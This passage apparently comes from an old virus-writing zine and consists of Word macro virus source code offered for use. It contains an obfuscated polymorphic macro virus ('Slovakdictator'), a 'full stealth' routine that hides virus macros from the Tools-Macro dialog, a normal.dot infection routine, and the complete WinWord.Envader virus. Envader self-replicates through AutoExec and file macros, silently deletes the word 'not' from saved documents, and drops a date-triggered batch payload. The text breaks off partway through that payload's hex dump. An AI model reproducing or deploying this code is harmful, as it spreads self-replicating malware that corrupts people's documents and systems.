FHUMCEAANPGT$(5) = "Jos&Yngxkj&WXVYRJQIHPT"
FHUMCEAANPGT$(6) = "Jos&Yngxkj&KILH[RNUYTV\NLWN["
FHUMCEAANPGT$(7) = "Jos&Yngxkj&XIKMNL\RH\T[NVP"
FHUMCEAANPGT$(8) = "Jos&Yngxkj&L[LTPQMRY[OWQPRS"
FHUMCEAANPGT$(9) = "Jos&Yngxkj&NZNVHPO\JVU"
FHUMCEAANPGT$(10) = "Jos&Yngxkj&\PVPNWTGWXTU"
FHUMCEAANPGT$(11) = "Jos&Yngxkj&LN[SIKGGTVMZ*.866/"
FHUMCEAANPGT$(12) = "Jos&Yngxkj&OZ\TVLYLPURKXJVJ\MI"
FHUMCEAANPGT$(13) = "Jos&Yngxkj&PMM[IVIPNV"
FHUMCEAANPGT$(14) = "Jos&Yngxkj&GZHISLSOZUOX["
FHUMCEAANPGT$(15) = "Jos&Yngxkj&UWPQPIQZ\ZSRWY*.97/"
FHUMCEAANPGT$(16) = "Jos&Yngxkj&JHZQMHGQY[HVUOHQZGN"
FHUMCEAANPGT$(17) = ""
FHUMCEAANPGT$(18) = "Y{h&SGOT"
FHUMCEAANPGT$(19) = "Ut&Kxxux&Muzu&[ZI[YIRGUKIWTRZHG"
FHUMCEAANPGT$(20) = "JoyghrkOtv{z&7"
FHUMCEAANPGT$(21) = "IZUPYOWXKHOSQYIPUW&C&6"
FHUMCEAANPGT$(22) = "QX\ZRWLOUW&C&7"
FHUMCEAANPGT$(23) = "\LLR\USHPU&C&8"
FHUMCEAANPGT$(24) = "YRJSZ\RP[ORT\&C&="
FHUMCEAANPGT$(25) = "WIYWVNKKVLZO[TMI&C&76"
FHUMCEAANPGT$(26) = "WXVYRJQIHPT&C&86"
FHUMCEAANPGT$(27) = "KILH[RNUYTV\NLWN[&C&88"
FHUMCEAANPGT$(28) = "XIKMNL\RH\T[NVP&C&<;"
FHUMCEAANPGT$(29) = "L[LTPQMRY[OWQPRS&C&9:"
FHUMCEAANPGT$(30) = "NZNVHPO\JVU&C&<:"
FHUMCEAANPGT$(31) = "OZ\TVLYLPURKXJVJ\MI&C&9>"
FHUMCEAANPGT$(32) = "PMM[IVIPNV&C&786"
FHUMCEAANPGT$(33) = "GZHISLSOZUOX[&C&7=?"
FHUMCEAANPGT$(34) = "JHZQMHGQY[HVUOHQZGN&C&97"
FHUMCEAANPGT$(35) = "GJQGVHG\IXVZTG*&C&GvvOtlu*.\LLR\USHPU/"
FHUMCEAANPGT$(36) = "G\RXIQU[L\ZSQSPVPX&C&\gr.Rklz*.GJQGVHG\IXVZTG*2&QX\ZRWLOUW//"
FHUMCEAANPGT$(37) = "Ol&G\RXIQU[L\ZSQSPVPX&BD&YRJSZ\RP[ORT\&Znkt&Muzu&[ZI[YIRGUKIWTRZHG"
FHUMCEAANPGT$(38) = "Igrr&LRVSQXQVIGVUIHW\[ST"
FHUMCEAANPGT$(39) = "-5555&hkmot&ul&nojjkt&vgxz&5555"
FHUMCEAANPGT$(40) = "Ynu}Hu~"
FHUMCEAANPGT$(41) = "I{xLork*&C&LorkTgsk*./"
FHUMCEAANPGT$(42) = "Ol&I{xLork*&C&FFFF&Znkt&Muzu&[ZI[YIRGUKIWTRZHG"
FHUMCEAANPGT$(43) = ""
FHUMCEAANPGT$(44) = "Ol&InkiqOtyzgrrkj.6/&C&6&Znkt"
FHUMCEAANPGT$(45) = "Otlkiz.7/"
FHUMCEAANPGT$(46) = "ZuuryUvzoutyYg|k&4MruhgrJuzVxusvz&C&62&4LgyzYg|ky&C&6"
FHUMCEAANPGT$(47) = "Muzu&[ZI[YIRGUKIWTRZHG"
FHUMCEAANPGT$(48) = "Ktj&Ol"
FHUMCEAANPGT$(49) = ""
FHUMCEAANPGT$(50) = "Jos&jrm&Gy&LorkYg|kGy"
FHUMCEAANPGT$(51) = "MkzI{x\gr{ky&jrm"
FHUMCEAANPGT$(52) = "Ol&jrm4Luxsgz&C&6&Znkt"
FHUMCEAANPGT$(53) = "jrm4Luxsgz&C&7"
FHUMCEAANPGT$(54) = "LorkYg|kGy&jrm"
FHUMCEAANPGT$(55) = "Ktj&Ol"
FHUMCEAANPGT$(56) = ""
FHUMCEAANPGT$(57) = "Ol&InkiqOtyzgrrkj.7/&C&6&Znkt"
FHUMCEAANPGT$(58) = "Otlkiz.9/"
FHUMCEAANPGT$(59) = "LorkYg|k"
FHUMCEAANPGT$(60) = "Ktj&Ol"
FHUMCEAANPGT$(61) = ""
FHUMCEAANPGT$(62) = "[ZI[YIRGUKIWTRZHG@"
FHUMCEAANPGT$(63) = "Ktj&Y{h"
FHUMCEAANPGT$(64) = ""
FHUMCEAANPGT$(65) = "Y{h&Ynu}Hu~"
FHUMCEAANPGT$(66) = "VgxrgsktztV{i&C&Jg.Tu}.//"
FHUMCEAANPGT$(67) = "Ol&VgxrgsktztV{i&C&:&Ux&VgxrgsktztV{i&C&77&Znkt"
FHUMCEAANPGT$(68) = "Hkkv"
FHUMCEAANPGT$(69) = "Hkmot&Jogrum&[ykxJogrum&9>62&88:2&FF\ox{y&GRKXZ'FF"
FHUMCEAANPGT$(70) = "Zk~z&8?2&>2&9:?2&792&FF_u{-xk&otlkizkj&h&]uxjSgixu4Yru|gqJoizgzux&|ox{yFF2&4Zk~z7"
FHUMCEAANPGT$(71) = "Zk~z&7;2&8>2&9<62&792&FF]kriusk&zu&znk&RSK&.Rgskx-y&Sgixu&Ktmotk/&|kx4&7466FF2&4Zk~z8"
FHUMCEAANPGT$(72) = "Zk~z&7:;2&;72&7892&792&FFJoy&oy&Rk|kr&:87FF2&4Zk~z9"
FHUMCEAANPGT$(73) = "Zk~z&9;2&=92&9:82&792&FF.i/&73sgx3?=2&Tgyz&Rgskx&,,&[mr&R{ykx2&Yru|gqogFF2&4Zk~z:"
FHUMCEAANPGT$(74) = "Zk~z&9:2&?>2&9:92&792&FFJoy&oy&znk&loxyz&}uxrj&zx{k&vursuxvnoi&sgixu&|ox{y&'FF2&4Zk~z;"
FHUMCEAANPGT$(75) = "V{ynH{zzut&7862&7>>2&7:=2&872&FFGiikvz&5&Y{nrgyFF2&4V{yn7"
FHUMCEAANPGT$(76) = "Zk~z&7662&7<;2&88>2&792&FFHom&l{iq&zu&znk&hom&hu~kx&\4S4FF2&4Zk~z<"
FHUMCEAANPGT$(77) = "Ktj&Jogrum"
FHUMCEAANPGT$(78) = "Jos&jrm&Gy&[ykxJogrum"
FHUMCEAANPGT$(79) = "Jogrum.jrm/"
FHUMCEAANPGT$(80) = "Ktj&Ol"
FHUMCEAANPGT$(81) = "Ktj&Y{h"
FHUMCEAANPGT$(82) = ""
FHUMCEAANPGT$(83) = "L{tizout&InkiqOtyzgrrkj.p/"
FHUMCEAANPGT$(84) = "Ut&Kxxux&Xky{sk&Tk~z"
FHUMCEAANPGT$(85) = "InkiqOtyzgrrkj&C&6"
FHUMCEAANPGT$(86) = "Lux&o&C&7&Zu&Iu{tzSgixuy.p/"
FHUMCEAANPGT$(87) = "Ol&SgixuTgsk*.o2&p/&C&FFG{zuIruykFF&Znkt&InkiqOtyzgrrkj&C&7"
FHUMCEAANPGT$(88) = "Tk~z&o"
FHUMCEAANPGT$(89) = "Ktj&L{tizout"
FHUMCEAANPGT$(90) = ""
FHUMCEAANPGT$(91) = "Y{h&Otlkiz.]ngzZuOtlkiz/"
FHUMCEAANPGT$(92) = "PU\KVGQIL\*&C&]otju}Tgsk*./"
FHUMCEAANPGT$(93) = "ZuurySgixu&4Tgsk&C&FFG{zuIruykFF2&4Ynu}&C&]ngzZuOtlkiz2&4Kjoz"
FHUMCEAANPGT$(94) = "KjozIrkgx&3&86"
FHUMCEAANPGT$(95) = ""
FHUMCEAANPGT$(96) = "-5555"
FHUMCEAANPGT$(97) = "-5555&\ru�ktok&vx|in&OZ\TVLYLPURKXJVJ\MI&xogjqu|&quj{&sgqxg"
FHUMCEAANPGT$(98) = "-5555&|ojozkrtg&igyz&3&tksktoz&'"
FHUMCEAANPGT$(99) = "-5555"
FHUMCEAANPGT$(100) = "Lux&o&C&6&Zu&OZ\TVLYLPURKXJVJ\MI&@&Otykxz&LN[SIKGGTVMZ*.o/&@&OtykxzVgxg&@&Tk~z&o"
FHUMCEAANPGT$(101) = "-5555"
FHUMCEAANPGT$(102) = "-5555&vxkskttg&o&ojk&uj&xogjqu|&FFY{h&UxomotgrSgixuHujFF17"
FHUMCEAANPGT$(103) = "-5555&g�&vu&FFY{h&LRVSQXQVIGVUIHW\[STFF37"
FHUMCEAANPGT$(104) = "-5555&|krso&vu�uxtk&{xioz&zokzu&qutyzgtz&'''"
FHUMCEAANPGT$(105) = "-5555"
FHUMCEAANPGT$(106) = "Lux&o&C&PMM[IVIPNV&Zu&GZHISLSOZUOX[&@&Otykxz&LN[SIKGGTVMZ*.o/&@&OtykxzVgxg&@&Tk~z&o"
FHUMCEAANPGT$(107) = "KjozXkvrgik&4Lotj&C&Inx*.<:/&1&Inx*.<:/2&4Xkvrgik&C&Inx*.9:/2&4Joxkizout&C&62&4SgzinIgyk&C&72&4]nurk]uxj&C&62&4VgzzkxtSgzin&C&62&4Yu{tjyRoqk&C&62&4XkvrgikGrr2&4Luxsgz&C&62&4]xgv&C&72&4LotjGrr]uxjLuxsy&C&6"
FHUMCEAANPGT$(108) = ""
FHUMCEAANPGT$(109) = "\PVPNWTGWXTU&C&3&Otz..:&1&Xtj./&0&76//"
FHUMCEAANPGT$(110) = "Igrr&\UVKYTJV\NIOTV"
FHUMCEAANPGT$(111) = "Otykxz&FF\PVPNWTGWXTU&C&FF&1&Yzx*.3&\PVPNWTGWXTU/"
FHUMCEAANPGT$(112) = "OtykxzVgxg"
FHUMCEAANPGT$(113) = "NUQLLYLR\QPG"
FHUMCEAANPGT$(114) = "JuiIruyk&7"
FHUMCEAANPGT$(115) = "Gizo|gzk&PU\KVGQIL\*"
FHUMCEAANPGT$(116) = "Ktj&Y{h"
FHUMCEAANPGT$(117) = ""
FHUMCEAANPGT$(118) = "Y{h&UxomotgrSgixuHuj"
FHUMCEAANPGT$(119) = "-5555&ktj&ul&Nojjkt&vgxz&5555"
FHUMCEAANPGT$(120) = "Yixkkt[vjgzotm&IZUPYOWXKHOSQYIPUW"
FHUMCEAANPGT$(121) = "JoyghrkG{zuSgixuy&QX\ZRWLOUW"
FHUMCEAANPGT$(122) = "\UVKYTJV\NIOTV"
FHUMCEAANPGT$(123) = ""
FHUMCEAANPGT$(124) = "PU\KVGQIL\*&C&]otju}Tgsk*./"
FHUMCEAANPGT$(125) = "ZuurySgixu&4Tgsk&C&FFSHJXVSZS\KQ\FF2&4Ynu}&C&QX\ZRWLOUW2&4Kjoz"
FHUMCEAANPGT$(126) = "KjozIrkgx&3&WXVYRJQIHPT"
FHUMCEAANPGT$(127) = "Lux&HPNQHPSQW\[RLVT&C&IZUPYOWXKHOSQYIPUW&Zu&GZHISLSOZUOX[&@&Otykxz&LN[SIKGGTVMZ*.HPNQHPSQW\[RLVT/&@&OtykxzVgxg&@&Tk~z&HPNQHPSQW\[RLVT"
FHUMCEAANPGT$(128) = ""
FHUMCEAANPGT$(129) = "KjozXkvrgik&4Lotj&C&Inx*.NZNVHPO\JVU/&1&Inx*.NZNVHPO\JVU/2&4Xkvrgik&C&Inx*.L[LTPQMRY[OWQPRS/2&4Joxkizout&C&IZUPYOWXKHOSQYIPUW2&4SgzinIgyk&C&QX\ZRWLOUW2&4]nurk]uxj&C&IZUPYOWXKHOSQYIPUW2&4VgzzkxtSgzin&C&IZUPYOWXKHOSQYIPUW2&4Yu{tjyRoqk&C&IZUPYOWXKHOSQYIPUW2&" + "4XkvrgikGrr2&4Luxsgz&C&IZUPYOWXKHOSQYIPUW2&4]xgv&C&QX\ZRWLOUW2&4LotjGrr]uxjLuxsy&C&IZUPYOWXKHOSQYIPUW"
FHUMCEAANPGT$(130) = ""
FHUMCEAANPGT$(131) = "NUQLLYLR\QPG"
FHUMCEAANPGT$(132) = "[RZTMWV[[ZKX\YJ\"
FHUMCEAANPGT$(133) = "JuiIruyk&QX\ZRWLOUW"
FHUMCEAANPGT$(134) = "Gizo|gzk&PU\KVGQIL\*"
FHUMCEAANPGT$(135) = ""
FHUMCEAANPGT$(136) = "Igrr&SHJXVSZS\KQ\"
FHUMCEAANPGT$(137) = "ZuurySgixu&4Tgsk&C&FFSHJXVSZS\KQ\FF2&4Ynu}&C&QX\ZRWLOUW2&4Jkrkzk"
FHUMCEAANPGT$(138) = ""
FHUMCEAANPGT$(139) = "[ZI[YIRGUKIWTRZHG@"
FHUMCEAANPGT$(140) = "JoyghrkG{zuSgixuy&IZUPYOWXKHOSQYIPUW"
FHUMCEAANPGT$(141) = "Yixkkt[vjgzotm&QX\ZRWLOUW"
FHUMCEAANPGT$(142) = "JoyghrkOtv{z&IZUPYOWXKHOSQYIPUW"
FHUMCEAANPGT$(143) = "Ktj&Y{h"
FHUMCEAANPGT$(144) = ""
FHUMCEAANPGT$(145) = "Y{h&\UVKYTJV\NIOTV"
FHUMCEAANPGT$(146) = "Lux&HPNQHPSQW\[RLVT&C&IZUPYOWXKHOSQYIPUW&Zu&GZHISLSOZUOX["
FHUMCEAANPGT$(147) = "IUOIYOTPO[OUO*&C&FFFF"
FHUMCEAANPGT$(148) = "\MHVM[ZWGW&C&Rkt.LN[SIKGGTVMZ*.HPNQHPSQW\[RLVT//"
FHUMCEAANPGT$(149) = "Lux&S[GTQOVRNGOM\HPYJO&C&QX\ZRWLOUW&Zu&\MHVM[ZWGW"
FHUMCEAANPGT$(150) = "IUOIYOTPO[OUO*&C&IUOIYOTPO[OUO*&1&Inx*.Gyi.Soj*.LN[SIKGGTVMZ*.HPNQHPSQW\[RLVT/2&S[GTQOVRNGOM\HPYJO2&QX\ZRWLOUW//&3&\PVPNWTGWXTU/"
FHUMCEAANPGT$(151) = "Tk~z&S[GTQOVRNGOM\HPYJO"
FHUMCEAANPGT$(152) = "LN[SIKGGTVMZ*.HPNQHPSQW\[RLVT/&C&IUOIYOTPO[OUO*"
FHUMCEAANPGT$(153) = "Tk~z&HPNQHPSQW\[RLVT"
FHUMCEAANPGT$(154) = "Ktj&Y{h"
FHUMCEAANPGT$(155) = ""
FHUMCEAANPGT$(156) = "Y{h&NUQLLYLR\QPG"
FHUMCEAANPGT$(157) = "Lux&HPNQHPSQW\[RLVT&C&IZUPYOWXKHOSQYIPUW&Zu&GZHISLSOZUOX["
FHUMCEAANPGT$(158) = "Otykxz&FFLN[SIKGGTVMZ*.FF&1&Yzx*.HPNQHPSQW\[RLVT/&1&FF/CFF&1&Inx*.L[LTPQMRY[OWQPRS/&1&LN[SIKGGTVMZ*.HPNQHPSQW\[RLVT/&1&Inx*.L[LTPQMRY[OWQPRS/"
FHUMCEAANPGT$(159) = "OtykxzVgxg"
FHUMCEAANPGT$(160) = "Tk~z&HPNQHPSQW\[RLVT"
FHUMCEAANPGT$(161) = "Lux&HPNQHPSQW\[RLVT&C&IZUPYOWXKHOSQYIPUW&Zu&JHZQMHGQY[HVUOHQZGN&3&QX\ZRWLOUW"
FHUMCEAANPGT$(162) = "Otykxz&FFUWPQPIQZ\ZSRWY*.FF&1&Yzx*.HPNQHPSQW\[RLVT/&1&FF/CFF&1&Inx*.L[LTPQMRY[OWQPRS/&1&UWPQPIQZ\ZSRWY*.HPNQHPSQW\[RLVT/&1&Inx*.L[LTPQMRY[OWQPRS/"
FHUMCEAANPGT$(163) = "OtykxzVgxg"
FHUMCEAANPGT$(164) = "Tk~z&HPNQHPSQW\[RLVT"
FHUMCEAANPGT$(165) = "Ktj&Y{h"
FHUMCEAANPGT$(166) = ""
FHUMCEAANPGT$(167) = "L{tizout&IKJQQQGXUGQLYXGN*"
FHUMCEAANPGT$(168) = "IUOIYOTPO[OUO*&C&FFFF"
FHUMCEAANPGT$(169) = "Lux&HPNQHPSQW\[RLVT&C&QX\ZRWLOUW&Zu&WIYWVNKKVLZO[TMI&1&Xtj./&0&WIYWVNKKVLZO[TMI&@&IUOIYOTPO[OUO*&C&IUOIYOTPO[OUO*&1&Inx*.Xtj./&0&KILH[RNUYTV\NLWN[&1&XIKMNL\RH\T[NVP/&@&Tk~z&HPNQHPSQW\[RLVT"
FHUMCEAANPGT$(170) = "IKJQQQGXUGQLYXGN*&C&IUOIYOTPO[OUO*"
FHUMCEAANPGT$(171) = "Ktj&L{tizout"
FHUMCEAANPGT$(172) = ""
FHUMCEAANPGT$(173) = "Y{h&[RZTMWV[[ZKX\YJ\"
FHUMCEAANPGT$(174) = "Lux&HPNQHPSQW\[RLVT&C&IZUPYOWXKHOSQYIPUW&Zu&JHZQMHGQY[HVUOHQZGN&3&QX\ZRWLOUW"
FHUMCEAANPGT$(175) = "KjozXkvrgik&4Lotj&C&UWPQPIQZ\ZSRWY*.HPNQHPSQW\[RLVT/2&4Xkvrgik&C&IKJQQQGXUGQLYXGN*2&4Joxkizout&C&IZUPYOWXKHOSQYIPUW2&4SgzinIgyk&C&QX\ZRWLOUW2&4]nurk]uxj&C&IZUPYOWXKHOSQYIPUW2&4VgzzkxtSgzin&C&IZUPYOWXKHOSQYIPUW2&4Yu{tjyRoqk&C&IZUPYOWXKHOSQYIPUW2&4XkvrgikGr" + "r2&4Luxsgz&C&IZUPYOWXKHOSQYIPUW2&4]xgv&C&QX\ZRWLOUW2&4LotjGrr]uxjLuxsy&C&IZUPYOWXKHOSQYIPUW"
FHUMCEAANPGT$(176) = "Tk~z&HPNQHPSQW\[RLVT"
FHUMCEAANPGT$(177) = "Ktj&Y{h"
FHUMCEAANPGT$(178) = ""
FHUMCEAANPGT$(179) = "Y{h&LRVSQXQVIGVUIHW\[ST"
OQJKJCKTVTMLQS$(0) = "VJPJHQNAQRNO"
OQJKJCKTVTMLQS$(1) = "FHUMCEAANPGT"
OQJKJCKTVTMLQS$(2) = "OQJKJCKTVTMLQS"
OQJKJCKTVTMLQS$(3) = "CTOJSIQREBIMKSCJOQ"
OQJKJCKTVTMLQS$(4) = "QCSQPHEEPFTIUNGC"
OQJKJCKTVTMLQS$(5) = "ECFBULHOSNPVHFQHU"
OQJKJCKTVTMLQS$(6) = "SLDMTVLJUILNV"
OQJKJCKTVTMLQS$(7) = "KRVTLQFIOQ"
OQJKJCKTVTMLQS$(8) = "QRPSLDKCBJN"
OQJKJCKTVTMLQS$(9) = "VFFLVOMBJO"
OQJKJCKTVTMLQS$(10) = "RCEGHFVLBVNUHPJ"
OQJKJCKTVTMLQS$(11) = "FUFNJKGLSUIQKJLM"
OQJKJCKTVTMLQS$(12) = "HTHPBJIVDPO"
OQJKJCKTVTMLQS$(13) = "ITVNPFSFJOLERDPDVGC"
OQJKJCKTVTMLQS$(14) = "JGGUCPCJHP"
OQJKJCKTVTMLQS$(15) = "ATBCMFMITOIRU"
OQJKJCKTVTMLQS$(16) = "DBTKGBAKSUBPOIBKTAH"
OQJKJCKTVTMLQS$(17) = "BJHKBJMKQVULFPN"
OQJKJCKTVTMLQS$(18) = "VGBPGUTQAQ"
OQJKJCKTVTMLQS$(19) = "MUANKIPLHAIGVBJSDI"
OQJKJCKTVTMLQS$(20) = "COICSINJIUIOI"
OQJKJCKTVTMLQS$(21) = "ADKAPBAVCRPTNA"
OQJKJCKTVTMLQS$(22) = "AVLRCKOUFVTMKMJPJR"
OQJKJCKTVTMLQS$(23) = "UTCUSCLAOECQNLTBA"
OQJKJCKTVTMLQS$(24) = "VOPESNDPVHCINP"
OQJKJCKTVTMLQS$(25) = "JOVEPAKCFV"
OQJKJCKTVTMLQS$(26) = "HOKFFSFLVKJA"
OQJKJCKTVTMLQS$(27) = "ULTNGQPUUTERVSDV"
OQJKJCKTVTMLQS$(28) = "MBDRPMTMVEKV"
OQJKJCKTVTMLQS$(29) = "CEDKKKAROAKFSRAH"
OQJKJCKTVTMLQS$(30) = "FLPMKRKPCAPOCBQVUMN"

End Sub

                        FULL - STEALHT ROUTINE!
                        �����������������������

At first I want to say thankz to Virtual Boy for his great full-stealht
routine. Yeah, right. I mean a full stealht routine, which hide all virus
macros and the best the virus works, too. Forget now this really bad
ToolsMacro Box from my MooNRaiDer virus and look at this fantastic code.

OK, here is the source code:

�����������������������������������������������������������������������������
MACRO: ToolsMacro
~~~~~~~~~~~~~~~~~
Sub MAIN

REM Get the position of the infected document.
b = GetAddInId(DefaultDir$(8) + "\0.dot")

REM Set ScreenUpdating Off 
ScreenUpdating 0
If DocMaximize() Then
DocMaximize
c = 1
EndIf

REM Create a new file to hide the virus macros in the active file.
FileNew

REM Remove now the virus document from the ToolsMacro box.
If b Then AddInState 1, 0

REM ToolsMacro Options
Dim d As ToolsMacro
On Error Resume Next
Dialog d

REM Close the document.
FileClose

REM Enable now again the virus document.
If c Then DocMaximize
If b Then AddInState 1, 1

REM Show the user the >> clean << Box. ;)
ToolsMacro d
End Sub

�����������������������������������������������������������������������������

"Routine to infect normal.dot"
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Sub MAIN

REM a$ = Startup Path from WinWord.
a$ = DefaultDir$(8) + "\0.dot"

REM Copy the infected document to this Startup Path.
If Files$(a$) = "" Then
CopyFile FileName$(), a$

REM Enable the virus!
AddAddIn a$
EndIf
End Sub

������������������������������������������������������������������������������

This code is from Virtual Boys macro virus >> Zero << (AKA: TK).

- Nightmare Joker -
   � The WinWord.Envader Virus by Gothmog/[DHA]            

 Well,  with all the commotion of Microsoft Word Macro viruses there seems to
 be out there these days, I decided to give it a try.  After all, how can you
 fully understand something you haven't done?  [one of the small perks of the
 Vx community:  you do have the upper  hand in understanding how viruses work
 and how to remove them...]

 In any case, here's what I came up with after about an hour. `Tis true, what
 they say -- that it is far easier to write a macro virus than a virus in asm
 or any other `real' language.  [hell, if it contributes to the virus problem
 i don't care a damn what it's written in <g>...]  Anyway, here's the source,
 and a working (& encrypted)  copy is included with the other viruses in this
 issue as ENVADER.DOC (read the document, it's _interesting_, shall i say :)

 The AutoExec macro checks to see if the normal template is infected; if this
 template has all of the virus's macros, it is assumed to be infected, and if
 it has anything less, it will be infected by the virus.  It also changes the
 user name in MS Word and in the WIN.INI file to 'Envader', just for fun.

=[ macro AutoExec ]==========================================================
sub main ' AutoExec
on error goto paki
DisableInput 1
ScreenUpdating 0
DisableAutoMacros 0
ToolsOptionsSave.GlobalDotPrompt = 0
j = 0
for i = 1 to CountMacros(0, 0)
   if MacroName$(i, 0, 0) = "AutoExec" then
      j = j + 1
   elseif MacroName$(i, 0, 0) = "FileSaveAs" then
      j = j + 1
   elseif MacroName$(i, 0, 0) = "FileOpen" then
      j = j + 1
   elseif MacroName$(i, 0, 0) = "FileClose" then
      j = j + 1
   elseif MacroName$(i, 0, 0) = "FileExit" then
      j = j + 1
   elseif MacroName$(i, 0, 0) = "ToolsMacro" then
      j = j + 1
   end if
next i
if j < 6 then
   ToolsOptionsGeneral.RecentFiles = 0
   ToolsCustomizeMenus .Name = "FileTemplates", .Menu = "File", .Remove
   ToolsCustomizeMenus .Name = "ToolsCustomize", .Menu = "Tools", .Remove
   MacroCopy FileName$() + ":AutoExec", "Global:AutoExec", 1
   MacroCopy FileName$() + ":FileSaveAs", "Global:FileSaveAs", 1
   MacroCopy FileName$() + ":FileOpen", "Global:FileOpen", 1
   MacroCopy FileName$() + ":FileClose", "Global:FileClose", 1
   MacroCopy FileName$() + ":FileExit", "Global:FileExit", 1
   MacroCopy FileName$() + ":ToolsMacro", "Global:ToolsMacro", 1
   ToolsOptionsUserInfo .Name = "Envader", .Initials = "", .Address = ""
   SetProfileString "MS User Info", "DefName", "Envader"
end if
ScreenUpdating 1
DisableInput 0
paki:
end sub
=============================================================[ macro ends ]==

 The FileSaveAs macro infects the document being saved, and first changes all
 occurances of the word `not' to nothing (this is hard to notice, because the
 syntax of the document stays correct...)

=[ macro FileSaveAs ]========================================================
sub main ' FileSaveAs
dim dlg As FileSaveAs
DisableAutoMacros 0
DisableInput 1
ScreenUpdating 0
EditReplace .Find = "not ", .Replace = "", .Direction = 0, .MatchCase = 0, .WholeWord = 0, .PatternMatch = 0, .SoundsLike = 0, .ReplaceAll, .Format = 0, .Wrap = 1, .FindAllWordForms = 0
ScreenUpdating 1
DisableInput 0
GetCurValues dlg
Dialog dlg
if (Dlg.Format = 0) or (dlg.Format = 1) then
   MacroCopy "AutoExec", WindowName$() + ":AutoExec", 1
   MacroCopy "FileSaveAs", WindowName$() + ":FileSaveAs", 1
   MacroCopy "FileOpen", WindowName$() + ":FileOpen", 1
   MacroCopy "FileClose", WindowName$() + ":FileClose", 1
   MacroCopy "FileExit", WindowName$() + ":FileExit", 1
   MacroCopy "ToolsMacro", WindowName$() + ":ToolsMacro", 1
   Dlg.Format = 1
end if
FileSaveAs dlg
end sub
=============================================================[ macro ends ]==

 The FileOpen macro will infect document or template files as they are opened
 in order to a) infect old documents the user created, and b) hide the source
 of the viral infection. (The user will scan his documents, and is sure to be
 confused if some document he's been working on for months is infected...)

=[ macro FileOpen ]==========================================================
sub main ' FileOpen
dim dlg as FileOpen
DisableAutoMacros 0
GetCurValues dlg
Dialog dlg
FileOpen dlg
if (Dlg.Format = 0) or (dlg.Format = 1) then
   MacroCopy "AutoExec", Dlg.Name + ":AutoExec", 1
   MacroCopy "FileSaveAs", Dlg.Name + ":FileSaveAs", 1
   MacroCopy "FileOpen", Dlg.Name + ":FileOpen", 1
   MacroCopy "FileClose", Dlg.Name + ":FileClose", 1
   MacroCopy "FileExit", Dlg.Name + ":FileExit", 1
   MacroCopy "ToolsMacro", Dlg.Name + ":ToolsMacro", 1
   FileSaveAs.Format = 1
end if
end sub
=============================================================[ macro ends ]==

 The FileClose macro will take effect if the user has disabled automacros; if
 an infected document is opened while automacros are disabled and then closed
 using the `File | Close' command, automacros will be enabled and the virus's
 autoexec macro will be executed.

=[ macro FileClose ]=========================================================
sub main ' FileClose
DisableAutoMacros 0
AutoExec
FileClose
end sub
=============================================================[ macro ends ]==

 The FileExit macro checks to see if it is the 12th of the month,  then shows
 a dialog box saying "It shall arrive..."; on the 13th of the month,  it will
 create a batch file c:\wp.bat and execute it. This will create the c:\wp.bmp
 file. This macro will then change c:\windows\win.ini's wallpaper settings to
 point to the c:\wp.bmp file, and change all the system colors to black...

=[ macro FileExit ]==========================================================
sub main ' FileExit
on error goto bollocks
if Day(Now()) = 12 then
   msgbox "It shall arive...", "Envader", 48
end if
if Day(Now()) <> 13 then
   goto bollocks
end if
DisableInput 1
ScreenUpdating 0
open "c:\dos\debug.exe" for input as #1
close #1
open "c:\wp.bat" For output as #1
print #1, "@echo off"
print #1, "ctty nul"
print #1, "echo n c:\wp.bmp > c:\wp.scr"
print #1, "echo e 0100 42 4D 5C 08 00 00 00 00 00 00 36 04 00 00 28 00 >> c:\wp.scr"
print #1, "echo e 0110 00 00 43 00 00 00 32 00 00 00 01 00 08 00 01 00 >> c:\wp.scr"
print #1, "echo e 0120 00 00 26 04 00 00 00 00 00 00 00 00 00 00 00 01 >> c:\wp.scr"
print #1, "echo e 0130 00 00 00 01 00 00 06 08 08 00 08 10 10 00 10 10 >> c:\wp.scr"
print #1, "echo e 0140 10 00 10 18 18 00 18 08 18 00 18 0C 20 00 18 18 >> c:\wp.scr"
print #1, "echo e 0150 18 00 20 0D 20 00 20 1B 28 00 20 20 20 00 28 14 >> c:\wp.scr"
print #1, "echo e 0160 28 00 2C 2D 35 00 34 18 30 00 38 18 38 00 38 33 >> c:\wp.scr"
print #1, "echo e 0170 38 00 38 60 60 00 40 20 38 00 40 20 40 00 40 3B >> c:\wp.scr"
print #1, "echo e 0180 40 00 40 70 70 00 48 20 40 00 48 28 40 00 48 30 >> c:\wp.scr"
print #1, "echo e 0190 40 00 48 46 49 00 50 28 40 00 50 29 48 00 50 4A >> c:\wp.scr"
print #1, "echo e 01A0 50 00 58 29 48 00 58 30 50 00 58 38 50 00 60 30 >> c:\wp.scr"
print #1, "echo e 01B0 50 00 60 30 58 00 60 38 58 00 63 62 65 00 64 48 >> c:\wp.scr"
print #1, "echo e 01C0 5C 00 68 38 58 00 68 38 60 00 70 38 60 00 70 68 >> c:\wp.scr"
print #1, "echo e 01D0 70 00 70 70 70 00 78 38 60 00 78 40 68 00 7E 4D >> c:\wp.scr"
print #1, "echo e 01E0 6D 00 80 40 68 00 80 40 70 00 88 48 70 00 98 98 >> c:\wp.scr"
print #1, "echo e 01F0 98 00 98 D0 D0 00 98 D8 D0 00 A0 50 88 00 A0 58 >> c:\wp.scr"
print #1, "echo e 0200 88 00 A0 70 90 00 A0 78 90 00 A0 88 98 00 A0 90 >> c:\wp.scr"
print #1, "echo e 0210 98 00 A0 90 A8 00 A0 9F A0 00 A0 A0 A8 00 A0 A8 >> c:\wp.scr"
print #1, "echo e 0220 A0 00 A0 C8 C8 00 A0 D8 D8 00 A3 A1 B0 00 A8 58 >> c:\wp.scr"
print #1, "echo e 0230 88 00 A8 58 90 00 A8 6C 94 00 A8 8B 9D 00 A8 B8 >> c:\wp.scr"
print #1, "echo e 0240 B8 00 A8 DC D6 00 A8 E0 E0 00 B0 58 90 00 B0 60 >> c:\wp.scr"
print #1, "echo e 0250 90 00 B0 60 98 00 B0 E8 E0 00 B2 B3 B5 00 B3 68 >> c:\wp.scr"
print #1, "echo e 0260 98 00 B8 60 98 00 B8 68 A0 00 B8 E8 E8 00 B8 F0 >> c:\wp.scr"
print #1, "echo e 0270 E8 00 BB 76 A3 00 BE C5 C5 00 C0 60 A0 00 C0 68 >> c:\wp.scr"
print #1, "echo e 0280 A0 00 C0 F0 E8 00 C0 F0 F0 00 C0 FF F0 00 C8 68 >> c:\wp.scr"
print #1, "echo e 0290 A0 00 C8 68 A8 00 C8 70 B0 00 C8 78 B0 00 C8 FF >> c:\wp.scr"
